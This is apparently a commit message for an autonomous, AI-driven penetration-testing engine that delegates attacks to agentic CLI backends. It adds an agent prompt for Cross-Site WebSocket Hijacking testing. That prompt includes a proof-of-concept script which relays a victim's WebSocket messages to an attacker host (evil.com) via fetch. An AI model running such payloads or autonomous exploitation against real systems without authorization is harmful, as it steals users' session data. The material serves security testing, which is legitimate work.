NeuroSploit v3.3.0 — Autonomous MD-Agent Engine

Re-model the pentest agent into an autonomous, markdown-driven engine that
turns a URL into a full engagement and delegates execution to a locally
installed agentic CLI backend.

Engine (neurosploit_agent/ + ./neurosploit launcher):
- orchestrator composes ONE master prompt from the agent library + RL weights
- backends: auto-detect & drive Claude Code / Codex / Grok CLI (+ Claude
  subscription); headless, autonomous, isolated workdir
- mcp: Playwright MCP (.mcp.json) for browser-based proof-of-execution
- rl: bounded per-agent reinforcement-learning weights w/ per-tech affinity,
  persisted to data/rl_state.json
- models: latest registry incl. NVIDIA NIM provider (PR #28)
- cli: interactive URL prompt + one-shot `run`, `backends`, `agents`, --dry-run

Agent library (agents_md/, 213 total):
- 196 vuln specialists incl. modern LLM/AI, cloud/K8s, API/auth, advanced
  injection, protocol smuggling, logic/crypto/supply-chain classes
- 17 meta-agents: orchestrator, recon, exploit_validator,
  false_positive_filter, severity_assessor, impact_evaluator, reporter,
  rl_feedback + migrated expert roles
- scripts/build_agents.py data-driven builder; REGISTRY.md index

Docs: rewritten README.md, v3.3.0 RELEASE.md, .env.example (NVIDIA NIM, xAI,
engine vars).

Retire legacy Python orchestration (neurosploit.py + agent classes) to legacy/.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>

agents_md/vulns/websocket_hijacking.md

@@ -0,0 +1,43 @@
+# WebSocket Hijacking Specialist Agent
+## User Prompt
+You are testing **{target}** for Cross-Site WebSocket Hijacking (CSWSH).
+**Recon Context:**
+{recon_json}
+**METHODOLOGY:**
+### 1. Identify WebSocket Endpoints
+- Look for `ws://` or `wss://` connections
+- Common paths: `/ws`, `/socket`, `/websocket`, `/realtime`, `/cable`
+- Check for Socket.IO: `/socket.io/?EIO=4&transport=websocket`
+### 2. Test Origin Validation
+- Connect from different origin (evil.com)
+- Check if Origin header is validated during upgrade
+- Try without Origin header
+### 3. Test Authentication
+- Connect without cookies/tokens
+- Use expired session cookie
+- Check if messages require per-message auth
+### 4. Cross-Site WebSocket Hijacking PoC
+```html
+<script>
+var ws = new WebSocket('wss://target.com/ws');
+ws.onmessage = function(e) {
+  fetch('https://evil.com/log', {method:'POST', body:e.data});
+};
+ws.onopen = function() { ws.send('{"action":"get_profile"}'); };
+</script>
+```
+### 5. Report
+```
+FINDING:
+- Title: WebSocket Hijacking at [endpoint]
+- Severity: High
+- CWE: CWE-1385
+- Endpoint: [ws URL]
+- Origin Validated: [yes/no]
+- Auth Required: [yes/no]
+- Data Accessible: [what data]
+- Impact: Real-time data theft, message injection
+- Remediation: Validate Origin header, require auth per-connection
+```
+## System Prompt
+You are a WebSocket Hijacking specialist. CSWSH is confirmed when a cross-origin page can establish a WebSocket connection and read/write data using the victim's session. The WebSocket must relay authenticated data. Public WebSockets with no auth data are not CSWSH targets.